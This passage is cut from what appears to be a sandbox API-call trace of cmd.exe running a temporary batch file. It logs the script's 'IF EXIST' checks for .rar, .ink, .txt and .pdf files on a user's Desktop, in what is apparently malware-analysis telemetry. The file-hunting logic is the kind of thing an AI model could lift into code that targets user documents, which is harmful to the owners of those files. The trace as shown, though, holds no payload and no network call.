lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.841] GetLastError () returned 0x2 [0037.841] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.842] GetLastError () returned 0x6 [0037.842] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.842] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.842] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.842] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.842] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.842] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.842] SetConsoleInputExeNameW () returned 0x1 [0037.843] GetConsoleOutputCP () returned 0x1b5 [0037.843] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.843] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.843] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.843] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.843] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.843] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0037.843] GetProcessHeap () returned 0x4e0000 [0037.843] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.843] GetProcessHeap () returned 0x4e0000 [0037.843] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.843] GetProcessHeap () returned 0x4e0000 [0037.843] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.843] GetProcessHeap () returned 0x4e0000 [0037.843] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.843] GetProcessHeap () returned 0x4e0000 [0037.844] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.844] GetProcessHeap () returned 0x4e0000 [0037.844] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.844] GetProcessHeap () returned 0x4e0000 [0037.844] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.844] GetProcessHeap () returned 0x4e0000 [0037.844] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.844] GetProcessHeap () returned 0x4e0000 [0037.844] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.844] GetProcessHeap () returned 0x4e0000 [0037.844] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.844] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.844] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0037.844] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d9, lpOverlapped=0x0) returned 1 [0037.844] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0037.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0037.844] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.844] GetFileType (hFile=0x74) returned 0x1 [0037.844] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.844] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0037.845] GetProcessHeap () returned 0x4e0000 [0037.845] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.845] GetProcessHeap () returned 0x4e0000 [0037.845] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.845] _tell (_FileHandle=3) returned 3670 [0037.845] _close (_FileHandle=3) returned 0 [0037.845] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.845] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.845] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.845] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0037.845] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.845] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0037.845] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d7, lpOverlapped=0x0) returned 1 [0037.846] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0037.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0037.846] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.846] GetFileType (hFile=0x74) returned 0x1 [0037.846] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.846] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0037.846] GetProcessHeap () returned 0x4e0000 [0037.846] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.846] GetProcessHeap () returned 0x4e0000 [0037.846] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.846] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.846] GetProcessHeap () returned 0x4e0000 [0037.846] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.846] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.846] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.846] GetProcessHeap () returned 0x4e0000 [0037.846] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.846] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.846] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.846] GetProcessHeap () returned 0x4e0000 [0037.846] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.846] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.847] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.847] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.847] GetProcessHeap () returned 0x4e0000 [0037.847] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.847] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.847] GetProcessHeap () returned 0x4e0000 [0037.847] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.847] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.847] GetProcessHeap () returned 0x4e0000 [0037.847] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.847] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.848] _tell (_FileHandle=3) returned 3695 [0037.848] _close (_FileHandle=3) returned 0 [0037.848] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0037.848] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.848] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.848] GetLastError () returned 0x2 [0037.848] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.848] GetLastError () returned 0x6 [0037.848] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.848] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.849] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.849] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.849] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.849] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.849] SetConsoleInputExeNameW () returned 0x1 [0037.849] GetConsoleOutputCP () returned 0x1b5 [0037.850] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.850] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.850] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.850] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.850] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.850] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0037.850] GetProcessHeap () returned 0x4e0000 [0037.850] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.850] GetProcessHeap () returned 0x4e0000 [0037.850] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.850] GetProcessHeap () returned 0x4e0000 [0037.850] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.850] GetProcessHeap () returned 0x4e0000 [0037.850] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.850] GetProcessHeap () returned 0x4e0000 [0037.850] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.850] GetProcessHeap () returned 0x4e0000 [0037.850] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.850] GetProcessHeap () returned 0x4e0000 [0037.850] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.851] GetProcessHeap () returned 0x4e0000 [0037.851] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.851] GetProcessHeap () returned 0x4e0000 [0037.851] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.851] GetProcessHeap () returned 0x4e0000 [0037.851] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.851] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.851] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0037.851] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17be, lpOverlapped=0x0) returned 1 [0037.851] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0037.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0037.851] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.851] GetFileType (hFile=0x74) returned 0x1 [0037.852] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.852] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0037.852] GetProcessHeap () returned 0x4e0000 [0037.852] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.852] GetProcessHeap () returned 0x4e0000 [0037.852] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.852] _tell (_FileHandle=3) returned 3697 [0037.852] _close (_FileHandle=3) returned 0 [0037.852] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.852] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.852] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.853] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0037.853] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.853] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0037.853] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17bc, lpOverlapped=0x0) returned 1 [0037.853] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0037.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0037.853] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.853] GetFileType (hFile=0x74) returned 0x1 [0037.853] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.853] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0037.853] GetProcessHeap () returned 0x4e0000 [0037.853] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.853] GetProcessHeap () returned 0x4e0000 [0037.853] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.853] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.853] GetProcessHeap () returned 0x4e0000 [0037.853] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.854] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.854] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.854] GetProcessHeap () returned 0x4e0000 [0037.854] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.854] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.854] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.854] GetProcessHeap () returned 0x4e0000 [0037.854] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.854] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.854] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.854] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.854] GetProcessHeap () returned 0x4e0000 [0037.854] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.854] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.854] GetProcessHeap () returned 0x4e0000 [0037.854] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.854] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.854] GetProcessHeap () returned 0x4e0000 [0037.854] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.854] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.855] _tell (_FileHandle=3) returned 3722 [0037.855] _close (_FileHandle=3) returned 0 [0037.855] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0037.856] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.856] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.856] GetLastError () returned 0x2 [0037.856] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.856] GetLastError () returned 0x6 [0037.856] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.856] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.856] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.856] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.857] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.857] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.857] SetConsoleInputExeNameW () returned 0x1 [0037.857] GetConsoleOutputCP () returned 0x1b5 [0037.857] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.857] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.857] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.857] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.857] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.858] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.858] GetProcessHeap () returned 0x4e0000 [0037.858] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.858] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.859] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0037.859] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a3, lpOverlapped=0x0) returned 1 [0037.859] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0037.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0037.859] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.859] GetFileType (hFile=0x74) returned 0x1 [0037.859] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.859] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0037.859] GetProcessHeap () returned 0x4e0000 [0037.859] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.859] GetProcessHeap () returned 0x4e0000 [0037.859] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.859] _tell (_FileHandle=3) returned 3724 [0037.859] _close (_FileHandle=3) returned 0 [0037.859] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.859] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.860] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.860] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0037.860] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.860] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0037.861] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a1, lpOverlapped=0x0) returned 1 [0037.861] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0037.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0037.861] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.861] GetFileType (hFile=0x74) returned 0x1 [0037.861] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.861] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0037.861] GetProcessHeap () returned 0x4e0000 [0037.861] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.861] GetProcessHeap () returned 0x4e0000 [0037.861] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.861] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.862] GetProcessHeap () returned 